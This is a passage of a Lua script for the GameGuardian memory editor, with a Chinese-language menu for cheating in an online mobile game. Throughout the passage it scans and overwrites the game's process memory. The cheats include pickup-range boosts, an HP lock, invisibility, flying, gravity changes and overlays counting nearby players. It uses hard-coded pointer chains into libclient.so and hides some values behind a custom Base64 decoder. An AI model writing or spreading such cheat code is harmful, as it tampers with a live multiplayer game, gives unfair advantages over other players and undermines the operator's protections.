gg.setValues({{address = ttt, flags = 4, value = 120}}) 语音播报('开启成功') end):start() end), changan.box({"拾取范围", changan.seek('拾取距离','ltxx',1,999999,1), changan.switch("拾取范围v1.0", function() fw1=false search(7.707281683632926E-41,16,neicun) py1(1.0,16,24) xg1(ltxx,16,56,true) xg1(ltxx,16,52,true) xg1(ltxx,16,48,true) end, function() end), changan.switch("拾取范围v2.0", function() 拾取范围=true search(7.707281683632926E-41,16,neicun) py1(1.0,16,24) xg1(ltxx9,16,56,true) xg1(ltxx,16,52,true) xg1(ltxx,16,48,true) end, function() end), changan.switch("拾取范围v3.0", function() search(3.7414668997472616E-43,16,4) py1(9.183409485952689E-41,16,-60) py1(0.0,16,-56) py1(9.183549615799121E-41,16,-52) py1(0.0,16,-48) py1(9.183409485952689E-41,16,-44) py1(0.0,16,-40) py1(9.183549615799121E-41,16,-36) py1(0.19999998807907104,16,-4) py1(3.7414668997472616E-43,16,0) py1(4.203895392974451E-45,16,4) xg1(ltxx,16,12,false) xg1(ltxx,16,16,false) xg1(ltxx,16,8,false) end, function() end), changan.switch("拾取范围v4.0", function() 拾取范围=true search(3.7414668997472616E-43,16,4) py1(4.203895392974451E-45,16,4) py1(215.0,16,12) xg1(ltxx,16,8,false) xg1(ltxx,16,16,false) search(3.7414668997472616E-43,16,4) py1(4.203895392974451E-45,16,4) py1(210.0,16,12) xg1(ltxx,16,8,false) xg1(ltxx,16,16,false) search(3.7414668997472616E-43,16,4) py1(4.203895392974451E-45,16,4) py1(245.0,16,12) xg1(ltxx,16,8,false) xg1(ltxx,16,16,false) search(3.7414668997472616E-43,16,4) py1(4.203895392974451E-45,16,4) py1(220.0,16,12) xg1(ltxx,16,8,false) xg1(ltxx,16,16,false) end, function() end), changan.switch("核心拾取", function() gg.alert("解体就行,请勿修复") gg.clearResults() gg.setRanges(4) gg.searchNumber("3.7414669e-43;4.20389539e-45;200.0:9", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.searchNumber("200", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(100) gg.editAll("99999999", gg.TYPE_FLOAT) end, function() end), changan.switch("拾取范围十秒杀", function() drw() CT=true while CT do search(12884902155,32,4) py1(9.183409485952689E-41,16,-60) py1(0.0,16,-56) py1(9.183549615799121E-41,16,-52) py1(0.0,16,-48) py1(9.183409485952689E-41,16,-44) py1(0.0,16,-40) py1(9.183549615799121E-41,16,-36) py1(0.19999998807907104,16,-4) py1(3.7414668997472616E-43,16,0) py1(4.203895392974451E-45,16,4) xg1(ltxx,16,12,false) xg1(ltxx,16,16,false) xg1(ltxx,16,8,false) gg.clearResults() local Search_array = { {4652218415073722371, 32, 4, "反二进制大范围秒杀"}, {2164260864,-80, 32}, --{0,-76, 32}, {4575657221408423936,-28, 32}, {1065353216,-24, 32}, {4489188105126936576,-12, 32}, {4652218415073722371,0,32}, {4.5, 4, 16}, } local Modifythe_array = { {dx, 4, 16, false}, {dx, 8, 16, false}, {-1, 12, 16, false}, } LSQ_pointer(Search_array, Modifythe_array) end end, function() drw() CT=false end ), changan.switch("拾取范围[全局测试]", function() drw() search(12884902155,32,4) py1(9.183409485952689E-41,16,-60) py1(0.0,16,-56) py1(9.183549615799121E-41,16,-52) py1(0.0,16,-48) py1(9.183409485952689E-41,16,-44) py1(0.0,16,-40) py1(9.183549615799121E-41,16,-36) py1(0.19999998807907104,16,-4) py1(3.7414668997472616E-43,16,0) py1(4.203895392974451E-45,16,4) xg1(ltxx,16,12,true) xg1(ltxx,16,16,true) xg1(ltxx,16,8,true) end, function() drw() end), changan.switch("拾取范围{车体}", function() drw() xtnb({{false,12884902155,0,32,nil,nil},{1147801488588,-4,32},{4852347123514998787,4,32},{215.0,8,16},{205.0,12,16},{230.0,16,16}},{{900,8,16,false},{900,12,16,false},{900,16,16,false}},32,4,"拾取范围{车体}") end, function() drw() end), }), changan.box({"防范围[测试版]", changan.switch( "核心锁血", function() gg.clearResults() -- 初始化全局变量 sj = {} -- 用于存储搜索结果的表 xgz = {} -- 用于存储修改后的值的表 -- 定义搜索函数 function __(ss, lx, nc, dz1, dz2) -- 参数说明: -- ss: 搜索的数值 -- lx: 数值类型 -- nc: 搜索范围,默认为32位 -- dz1: 搜索的起始地址,默认为"-1" -- dz2: 搜索的结束地址,默认为"0" if ss ~= nil then if lx ~= nil then if nc == nil then nc = 32 -- 默认搜索范围为32位 end gg.setRanges(nc) -- 设置搜索范围 if dz1 == nil then dz1 = "-1" -- 默认起始地址 end if dz2 == nil then dz2 = "0" -- 默认结束地址 end gg.searchNumber(ss, lx, false, gg.SIGN_EQUAL, dz1, dz2) -- 执行搜索操作 sl = gg.getResultCount() -- 获取搜索结果的数量 if sl ~= 0 then sj = gg.getResults(sl) -- 获取搜索结果并存储到表中 gg.clearResults() -- 清空搜索结果 else -- 如果没有搜索结果,不做任何操作 end else -- 如果数值类型为空,不做任何操作 end else -- 如果搜索数值为空,不做任何操作 end end -- 定义筛选函数 function ___(value, lx, py) -- 参数说明: -- value: 需要筛选的值 -- lx: 数值类型 -- py: 偏移量 if #sj ~= nil then z1 = {} -- 用于存储临时结果的表 z2 = {} -- 用于存储最终筛选结果的表 for i = 1, #sj do z1[i] = {} -- 初始化临时结果表 z1[i].address = sj[i].address + py -- 计算偏移后的地址 z1[i].flags = lx -- 设置数值类型 end z1 = gg.getValues(z1) -- 获取偏移后的值 for i = 1, #sj do if z1[i].value == value then z2[#z2 + 1] = {} -- 如果值匹配,存储到最终结果表中 z2[#z2] = sj[i] end end sj = z2 -- 更新搜索结果表 z1 = {} -- 清空临时结果表 z2 = {} -- 清空最终结果表 else -- 如果搜索结果表为空,不做任何操作 end end -- 定义排除函数 function py2(value, lx, py) -- 参数说明: -- value: 需要排除的值 -- lx: 数值类型 -- py: 偏移量 if #sj ~= nil then z1 = {} -- 用于存储临时结果的表 z2 = {} -- 用于存储最终排除结果的表 for i = 1, #sj do z1[i] = {} -- 初始化临时结果表 z1[i].address = sj[i].address + py -- 计算偏移后的地址 z1[i].flags = lx -- 设置数值类型 end z1 = gg.getValues(z1) -- 获取偏移后的值 for i = 1, #sj do if z1[i].value ~= value then z2[#z2 + 1] = {} -- 如果值不匹配,存储到最终结果表中 z2[#z2] = sj[i] end end sj = z2 -- 更新搜索结果表 z1 = {} -- 清空临时结果表 z2 = {} -- 清空最终结果表 else -- 如果搜索结果表为空,不做任何操作 end end -- 定义修改函数 function ____ (value, lx, py, dj) -- 参数说明: -- value: 修改后的值 -- lx: 数值类型 -- py: 偏移量 -- dj: 是否冻结值 if #sj ~= nil then z = {} -- 用于存储修改后的值的表 for i = 1, #sj do z[i] = {} -- 初始化修改后的值表 z[i].address = sj[i].address + py -- 计算偏移后的地址 z[i].flags = lx -- 设置数值类型 z[i].value = value -- 设置修改后的值 if dj == true then z[i].freeze = true -- 如果需要冻结值,则设置冻结标志 end end if dj == true then gg.addListItems(z) -- 如果需要冻结值,则将修改后的值添加到列表中 else gg.clearList() -- 清空列表 gg.setValues(z) -- 设置修改后的值 end else -- 如果搜索结果表为空,不做任何操作 end end -- 定义批量修改函数 function xg2(bz, value, lx, py, dj) -- 参数说明: -- bz: 需要修改的地址表 -- value: 修改后的值 -- lx: 数值类型 -- py: 偏移量 -- dj: 是否冻结值 if #bz ~= nil then z = {} -- 用于存储修改后的值的表 for i = 1, #bz do z[i] = {} -- 初始化修改后的值表 z[i].address = bz[i].address + py -- 计算偏移后的地址 z[i].flags = lx -- 设置数值类型 z[i].value = value -- 设置修改后的值 if dj == true then z[i].freeze = true -- 如果需要冻结值,则设置冻结标志 end end if dj == true then gg.addListItems(z) -- 如果需要冻结值,则将修改后的值添加到列表中 else gg.clearList() -- 清空列表 gg.setValues(z) -- 设置修改后的值 end else -- 如果地址表为空,不做任何操作 end end -- 定义保存函数 function bc(bz) -- 参数说明: -- bz: 需要保存的变量名 if sj ~= nil then _ENV[bz] = sj -- 将搜索结果表保存到全局变量中 else -- 如果搜索结果表为空,不做任何操作 end end -- 定义地址读取函数 function BaAdd(add) -- 参数说明: -- add: 需要读取的地址 if gg.getTargetInfo().x64 == true then t = gg.getValues({[1] = {address = add, flags = 32}}) -- 如果目标是64位系统,使用32位标志 return t[1].value else t = gg.getValues({[1] = {address = add, flags = 4}}) -- 如果目标是32位系统,使用4位标志 return t[1].value & 0xFFFFFFFF -- 返回地址的值,并进行32位掩码处理 end end -- 定义设置函数 function set(dz, xg, lx, dj) -- 参数说明: -- dz: 目标地址 -- xg: 修改后的值 -- lx: 数值类型 -- dj: 是否冻结值 if dj == "true" then gg.addListItems({{address = dz, flags = lx, value = xg, freeze = true}}) -- 如果需要冻结值,则将修改后的值添加到列表中 else gg.setValues({{address = dz, flags = lx, value = xg}}) -- 设置修改后的值 end end -- 定义Base64解码表 local base64bytes = { ['A'] = 0, ['B'] = 1, ['C'] = 2, ['D'] = 3, ['E'] = 4, ['F'] = 5, ['G'] = 6, ['H'] = 7, ['I'] = 8, ['J'] = 9, ['K'] = 10, ['L'] = 11, ['M'] = 12, ['N'] = 13, ['O'] = 14, ['P'] = 15, ['Q'] = 16, ['R'] = 17, ['S'] = 18, ['T'] = 19, ['U'] = 20, ['V'] = 21, ['W'] = 22, ['X'] = 23, ['Y'] = 24, ['Z'] = 25, ['a'] = 26, ['b'] = 27, ['c'] = 28, ['d'] = 29, ['e'] = 30, ['f'] = 31, ['g'] = 32, ['h'] = 33, ['i'] = 34, ['j'] = 35, ['k'] = 36, ['l'] = 37, ['m'] = 38, ['n'] = 39, ['o'] = 40, ['p'] = 41, ['q'] = 42, ['r'] = 43, ['s'] = 44, ['t'] = 45, ['u'] = 46, ['v'] = 47, ['w'] = 48, ['x'] = 49, ['y'] = 50, ['z'] = 51, ['0'] = 52, ['1'] = 53, ['2'] = 54, ['3'] = 55, ['4'] = 56, ['5'] = 57, ['6'] = 58, ['7'] = 59, ['8'] = 60, ['9'] = 61, ['-'] = 62, ['_'] = 63, ['='] = nil -- Base64填充字符,不参与实际解码 } -- 定义Base64解码函数 function _(data) -- 参数说明: -- data: 需要解码的Base64字符串 local chars = {} -- 用于存储解码过程中的字符 local result = "" -- 用于存储解码后的结果 for i = 0, data:len() - 1, 4 do -- 每次处理4个字符 for c = 1, 4 do chars[c] = base64bytes[(string.sub(data, (i + c), (i + c)) or "=")] -- 获取每个字符的Base64索引 end -- 根据Base64解码规则,将4个字符解码为3个字节 result = string.format( '%s%s%s%s', result, string.char(chars[1] * 4 + math.floor(chars[2] / 16)), -- 第一个字节 ( {[true] = string.char(((chars[2] or 0) % 16) * 16 + math.floor((chars[3] or 0) / 4)), [false] = ""}) [chars[3] ~= nil], -- 第二个字节 ( {[true] = string.char(((chars[3] or 0) % 4) * 64 + (chars[4] or 0)), [false] = ""}) [chars[4] ~= nil] -- 第三个字节 ) end return result -- 返回解码后的字符串 end ------------------------核心配置不懂误动------------------------ __(_("MQ"), _("NjQ"), 4) -- 执行初始搜索,定位游戏内存中的目标数值 ___(_("MQ"), _("NjQ"), _("MA")) -- 筛选符合条件的内存地址,缩小搜索范围 ____(_("Mg"), _("NjQ"), _("MA"), false) -- 应用修改值,更新内存中的目标数据 gg.toast("核心锁血开启成功") -- 向用户反馈操作结果,确认功能已激活 end, function() end ), changan.switch("快闪复活包!", function() drw() 内存=4 gg.clearResults() sj={} xgz={} function search(ss,lx,nc,dz1,dz2) if ss~=nil then if lx~=nil then if nc==nil then nc=32 end gg.setRanges(nc) if dz1==nil then dz1="-1" end if dz2==nil then dz1="0" end gg.searchNumber(ss,lx,false,gg.SIGN_EQUAL,dz1,dz2) sl=gg.getResultCount() if sl~=0 then sj=gg.getResults(sl) gg.clearResults() else end else end else end end function py1(value,lx,py) if #sj~=nil then z1={} z2={} for i=1,#sj do z1[i]={} z1[i].address=sj[i].address+py z1[i].flags=lx end z1=gg.getValues(z1) for i=1,#sj do if z1[i].value==value then z2[#z2+1]={} z2[#z2]=sj[i] end end sj=z2 z1={} z2={} else end end function py2(value,lx,py) if #sj~=nil then z1={} z2={} for i=1,#sj do z1[i]={} z1[i].address=sj[i].address+py z1[i].flags=lx end z1=gg.getValues(z1) for i=1,#sj do if z1[i].value~=value then z2[#z2+1]={} z2[#z2]=sj[i] end end sj=z2 z1={} z2={} else end end function xg1(value,lx,py,dj) if #sj~=nil then z={} for i=1,#sj do z[i]={} z[i].address=sj[i].address+py z[i].flags=lx z[i].value=value if dj==true then z[i].freeze=true end end if dj==true then gg.addListItems(z) else gg.clearList() gg.setValues(z) end else end end function xg2(bz,value,lx,py,dj) if #bz~=nil then z={} for i=1,#bz do z[i]={} z[i].address=bz[i].address+py z[i].flags=lx z[i].value=value if dj==true then z[i].freeze=true end end if dj==true then gg.addListItems(z) else gg.clearList() gg.setValues(z) end else end end function bc(bz) if sj~=nil then _ENV[bz]=sj else end end function BaAdd(add) if gg.getTargetInfo().x64==true then t=gg.getValues({[1]={address=add,flags=32}}) return t[1].value else t=gg.getValues({[1]={address=add,flags=4}}) return t[1].value&0xFFFFFFFF end end function set(dz,xg,lx,dj) if dj=="true" then gg.addListItems({{address=dz,flags=lx,value=xg,freeze=true}}) else gg.setValues({{address=dz,flags=lx,value=xg}}) end end setOnExitListener(function() xg1(0,16,-4,false) xg1(0,16,-12,false) xg1(3000,16,-8,false) end) 初始化=0 CT=true while CT do x增量=-20000 z增量=-10000 x增量次数=0 执行次数=0 if 初始化==0 then search(17039364,4,内存) py1(16777215,4,-40) py1(257,4,-36) xg1(3000,16,-8,true) xg1(z增量,16,-12,true) 初始化=1 end while 执行次数<10 do while x增量次数<35 do xg1(x增量,16,-4,true) x增量=x增量+1000 x增量次数=x增量次数+1 gg.sleep(100) end z增量=z增量+2000 执行次数=执行次数+1 x增量次数=0 x增量=-20000 xg1(z增量,16,-12,true) end end end, function() drw() CT=false x增量=-20000 z增量=-10000 x增量次数=0 执行次数=0 if 初始化==0 then search(17039364,4,内存) py1(16777215,4,-40) py1(257,4,-36) xg1(3000,16,-8,false) xg1(z增量,16,-12,false) 初始化=1 end while 执行次数<10 do while x增量次数<35 do xg1(x增量,16,-4,false) x增量=x增量+1000 x增量次数=x增量次数+1 gg.sleep(100) end z增量=z增量+2000 执行次数=执行次数+1 x增量次数=0 x增量=-20000 xg1(z增量,16,-12,false) end end), changan.switch("局内隐身1.0", function() drw() CT=false gg.sleep(250) search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-114514,4,92,true) xg1(-114514,4,84,true) end, function() drw() gg.sleep(250) search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-114514,4,92,false) xg1(-114514,4,84,false) end), changan.switch("局内隐身2.0", function() drw() CT=false gg.sleep(250) search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(-1,16,96,true) search(17039364,4,4) py1(16777215,4,-360) py1(257,4,-356) py1(16777215,4,-40) py1(257,4,-36) xg1(100000000,16,-8,true) end, function() drw() gg.sleep(250) search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-114514,4,92,false) xg1(-114514,4,84,false) end), changan.switch("局内隐身3.0", function() drw() CT=false gg.sleep(250) search(992204554,4,-2080896) py1(992204554,4,0) py1(1956496814,4,8) xg1(-114514,4,92,true) xg1(-114514,4,84,true) search(2199026335744,32,4) py1(1065353216,32,32) py1(4489188105126936576,32,44) py1(4652218415073722371,32,56) py1(4.5,16,60) xg1(dx,16,64,false) xg1(dx,16,68,false) xg1(0,16,60,false) search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-114514,4,92,true) xg1(-114514,4,84,true) end, function() drw() gg.sleep(250) drw() sleep(120) hzrs =false search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-114514,4,92,false) xg1(-114514,4,84,false) end), changan.switch("飞天隐身", function() drw() CT=false gg.sleep(250) search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(3.12e38,16,-8,true) -- x坐标 xg1(3.12e38,16,-4,true) -- y坐标 xg1(3.12e38,16,-12,true)-- z坐标 search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-114514,4,92,true) xg1(-114514,4,84,true) search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(200,16,-8,true)--y xg1(-401.941,16,-4,true)--z xg1(-1599,16,-12,true)--x gg.sleep(500) xg1(200,16,-8,false)--y xg1(-401.941,16,-4,false)--z xg1(-1599,16,-12,false)--x end, function() drw() gg.sleep(250) search(992204554,4,4) py1(992204554,4,0) py1(1956496814,4,8) xg1(-114514,4,92,false) xg1(-114514,4,84,false) end), }), changan.box({ "滑动屏幕速度", changan.radio({ "滑动速度", {"很慢", function() drw() search(60.0,64,4) py1(32.0,64,48) py1(20.0,64,128) xg1(0.15,64,96,false) end }, { "有一些慢", function() drw() search(60.0,64,4) py1(32.0,64,48) py1(20.0,64,128) xg1(0.5,64,96,false) end }, { "偏慢" , function() drw() search(60.0,64,4) py1(32.0,64,48) py1(20.0,64,128) xg1(1,64,96,false) end }, { "偏快" , function() drw() search(60.0,64,4) py1(32.0,64,48) py1(20.0,64,128) xg1(1.75,64,96,false) end }, { "有一些快" , function() drw() search(60.0,64,4) py1(32.0,64,48) py1(20.0,64,128) xg1(2.55,64,96,false) end }, { "超快" , function() drw() search(60.0,64,4) py1(32.0,64,48) py1(20.0,64,128) xg1(2.75,64,96,false) end }, { "极快" , function() drw() search(60.0,64,4) py1(32.0,64,48) py1(20.0,64,128) xg1(3.75,64,96,false) end }, { "超极快" , function() drw() search(60.0,64,4) py1(32.0,64,48) py1(20.0,64,128) xg1(5.15,64,96,false) end }, { "恢复到正常速度", function() drw() search(60.0,64,4) py1(32.0,64,48) py1(20.0,64,128) xg1(5.15,64,96,false) end } }),--1 }), changan.box({"引力功能", changan.button("自定义重力", function() drw() zdyzb=gg.prompt({"100是无重力负的是高重力"},{""},{"text"}) if zdyzb==nil then elseif zdyzb[1]=="" then gg.diyToast("请要填") else gg.diyToast("正在准备") gg.sleep(300) search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(zdyzb[1],16,-52,false) end end), changan.radio({ "可不关", { "高重力", function() drw() search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-10, gg.TYPE_FLOAT, -52, true) end },{"无重力", function() drw() search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(100, gg.TYPE_FLOAT, -52, true) end },{"恢复以上", function() drw() search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(1, gg.TYPE_FLOAT, -52, false) end }, }), }), changan.box({"飞行", changan.button("自定义高度", function() drw() zdyzb=gg.prompt({"高度"},{""},{"text"}) if zdyzb==nil then elseif zdyzb[1]=="" then gg.diyToast("请要填") else gg.diyToast("正在准备") gg.sleep(300) search(17039364,4,4) py1(16777215,4,-360) py1(257,4,-356) py1(16777215,4,-40) py1(257,4,-36) xg1(zdyzb[1],16,-8,true) end end), changan.radio({ "想下来时可以关", { "低空飞", function() drw() search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(1000,16,-8,true) end },{"中空飞", function() drw() search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(1500,16,-8,true) end },{"高空飞", function() drw() search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(3000,16,-8,true) end },{"超高飞", function() drw() search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) py1(17039364,4,0) xg1(5059790,16,-8,true) end },{ "核心解体飞天", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0xC52BF0, 0x60, 0x24, 0x38, 0x38, 0x18} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 64, value = 400}}) local t = {"libclient.so:bss", "Cb"} local tt = {0xC6B454, 0x44, 0x0, 0x58, 0x54, 0x64, 0x58} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 64, value = 400}}) local t = {"libclient.so:bss", "Cb"} local tt = {0xC8B9EC, 0x54, 0x4, 0x64, 0x58, 0x3C, 0x5} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 64, value = 400}}) local t = {"libclient.so:bss", "Cb"} local tt = {0xC66540, 0x64, 0x4, 0x64, 0x18, 0x3C, 0x5} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 64, value = 400}}) end },{"关闭核心飞天", function() drw() local t = {"libclient.so:bss", "Cb"} local tt = {0xC52BF0, 0x60, 0x24, 0x38, 0x38, 0x18} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 64, value = 0.4}}) local t = {"libclient.so:bss", "Cb"} local tt = {0xC6B454, 0x44, 0x0, 0x58, 0x54, 0x64, 0x58} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 64, value = 0.4}}) local t = {"libclient.so:bss", "Cb"} local tt = {0xC8B9EC, 0x54, 0x4, 0x64, 0x58, 0x3C, 0x5} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 64, value = 0.4}}) local t = {"libclient.so:bss", "Cb"} local tt = {0xC66540, 0x64, 0x4, 0x64, 0x18, 0x3C, 0x5} local ttt = S_Pointer(t, tt) gg.setValues({{address = ttt, flags = 64, value = 0.4}}) string.toMusic('关闭成功') end },{"恢复", function() drw() search(17039364,4,4) py1(16777215,4,-360) py1(257,4,-356) py1(16777215,4,-40) py1(257,4,-36) xg1(3000,16,-8,false) end }, }), }), changan.box({"人物数据线", changan.switch("人物数据线[数据大]", function() drw() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber("2.93878072e-39", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("999999999", gg.TYPE_FLOAT) end, function() drw() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber("999999999", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("2.93878072e-39", gg.TYPE_FLOAT) end), changan.switch("人物数据线[黑框[数据小]]", function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("9,570,299,534,114,848", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("9,570,300,680,847,360", gg.TYPE_QWORD) end, function() drw() gg.clearResults() gg.setRanges(gg.REGION_C_ALLOC) gg.searchNumber("9,570,300,680,847,360", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1000) gg.editAll("9,570,299,534,114,848", gg.TYPE_FLOAT) end), changan.switch("人物数据线[本体[数据小]]", function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("10,696,216,621,088,804", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("11,696,216,621,088,804", gg.TYPE_QWORD) end, function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("11,696,216,621,088,804", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("10,696,216,621,088,804", gg.TYPE_QWORD) end), changan.switch("人物数据线[渲染[数据大]]", function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("10,696,216,621,088,804", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("11,696,216,621,088,804", gg.TYPE_QWORD) end, function() drw() gg.clearResults() gg.setRanges(4) gg.searchNumber("11,696,216,621,088,804", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1020) gg.editAll("10,696,216,621,088,804", gg.TYPE_QWORD) end), }), changan.box({"绘制功能", changan.text('多开有bug或无法关闭','#ffffff','5sp'), changan.seek('左右','DX',1,1090,1071),--名字,变量名,最小,最大,初始 changan.seek('上下','DY',1,700,450),--名字,变量名,最小,最大,初始 changan.switch( "五彩准心", function() drw() sleep(120) draw3=require('draw3') draw.setStyle('填充') text1=draw3.text("⊙", DX, DY) hzr= true while hzr do draw.setSize(49) gg.sleep(50) local color=math.random(000000, 0xffffff) text1.setColor(color) text1.update("⊙") end end, function() drw() sleep(120) hzr=false draw.remove() end ), changan.switch( "绘制人数1.0", function() gg.clearResults() sj={} xgz={} _ENV["绘制人数"] = true while _ENV["绘制人数"] == true do search(7.707281683632926E-41, 16, 4) py1(0.0, 16, 12) py1(0.0, 16, 16) py1(0.0, 16, 20) py1(1.0, 16, 24) py1(0.0, 16, 28) py1(0.0, 16, 32) py1(0.0, 16, 36) py1(4.5, 16, 56) draw.remove() local playerCount = #sj local 绘制=draw3.text("附近玩家人数: " .. playerCount .. "人", 900, 200) draw.setColor("#ff0000") gg.clearResults() end end, function() drw() sleep(120) hzrs =false draw.remove() end ), changan.switch( "绘制人数2.0", function() gg.clearResults() sj={} xgz={} _ENV["绘制人数"] = true while _ENV["绘制人数"] == true do search(17039361,4,neicun) py1(16777215,4,-36) py1(1065353216,4,16) xg1(999,16,-8,false) draw.remove() local playerCount = #sj local 绘制=draw3.text("附近玩家人数: " .. playerCount .. "人", 900, 200) draw.setColor("#ff0000") gg.clearResults() end end, function() drw() sleep(120) hzrs =false draw.remove() end ), changan.switch( "绘制人数[高刷]", function() gg.clearResults() gg.setRanges(4) gg.searchNumber(17039361, gg.TYPE_QWORD) rs=gg.getResultCount() rs=rs-3 hzrs= true local hzwjrs=draw.text('附近玩家为'..rs..'个', DX, DY) while hzrs do gg.clearResults() gg.setRanges(4) gg.searchNumber(17039361, gg.TYPE_QWORD) rs=gg.getResultCount() rs=rs-3 draw.updateText(hzwjrs, '附近玩家为'..rs..'个') gg.sleep(100) end end, function() drw() sleep(120) hzrs =false draw.remove() end ), }), },{--第5页 changan.switch( "核心防水", function() search(400.0,64,neicun) py1(200.0,64,-16) xg1(114514,64,144,false) end, function() search(400.0,64,neicun) py1(200.0,64,-16) xg1(3,64,144,false) end), changan.switch( "地图颠倒", function() gg.clearResults() gg.setRanges(16384) gg.searchNumber("7,310,298,161,518,477,312", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) if gg.getResultCount() == 0 then string.toMusic("开启失败") toast("开启失败") else gg.searchNumber("7,310,298,161,518,477,312", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1) gg.editAll("7,310,298,163,665,960,960", gg.TYPE_QWORD) string.toMusic("开启成功,请切换画质") toast("开启成功,请切换画质") end end, function() gg.searchNumber("7,310,298,163,665,960,960", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.searchNumber("7,310,298,163,665,960,960", gg.TYPE_QWORD, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(1) gg.editAll("7,310,298,161,518,477,312", gg.TYPE_QWORD) gg.clearResults() gg.toast("关闭成功,请切换画质") end), changan.switch( "翻滚", function() fw1=false search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(99,16,-40,true) end, function() fw1=false search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(1,16,96,false) end), changan.switch( "发癫", function() fw1=false search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(55,16,0,true) end, function() fw1=false search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(1,16,96,false) end), changan.switch( "转向Q弹", function() fw1=false search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(0,16,100,true) end, function() fw1=false search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(1,16,96,false) end), changan.switch( "失控", function() fw1=false search(992204554, 4, 4) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-55,11,100,true) end, function() fw1=false search(17039364,4,4) py1(16777215,4,-40) py1(257,4,-36) xg1(1,16,96,false) end), changan.switch( "原地蹦跳", function() gg.clearResults() gg.setRanges(16384) gg.searchNumber("0.0001", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) if gg.getResultCount() == 0 then gg.toast("开启失败") else gg.searchNumber("0.0001", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(999999) gg.editAll("1.11456998e-7", gg.TYPE_FLOAT) gg.toast("开启成功") gg.clearResults() end end, function() gg.clearResults() gg.setRanges(16384) gg.searchNumber("1.11456998e-7", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) if gg.getResultCount() == 0 then gg.toast("关闭失败") else gg.searchNumber("1.11456998e-7", gg.TYPE_FLOAT, false, gg.SIGN_EQUAL, 0, -1) gg.getResults(999999) gg.editAll("0.0001", gg.TYPE_FLOAT) gg.toast("关闭成功") gg.clearResults() end end), changan.switch( "灵魂出窍", function() fw1=false search(992204554, 4, neicun) py1(992204554, 4, 0) py1(1956496814, 4, 8) xg1(-0.15,16,76,true) end, function() fw1=false gg.clearList() gg.setValues(z) end), changan.switch( "爬墙", function() search(17039360,4,neicun) py1(17039360,4,0) py1(65792,4,56) py1(17039360,4,208) xg1(900,16,-8,true) end, function() search(17039360,4,neicun) py1(17039360,4,0) py1(65792,4,56) py1(17039360,4,208) xg1(900,16,-8,false) end), changan.switch( "不倒翁", function() editData( { {["memory"] = neicun}, {["name"] = ""}, {["value"] = 17039364, ["type"] = D}, {["lv"] = 1111752704,["offset"] =0x44, ["type"] = D}, }, { {["value"] = 0,["offset"] =-0x1C, ["type"] = F,["freeze"] = true}, {["value"] = 0,["offset"] =-0x14, ["type"] = F,["freeze"] = true}, } ) gg.toast("不倒翁开启成功") 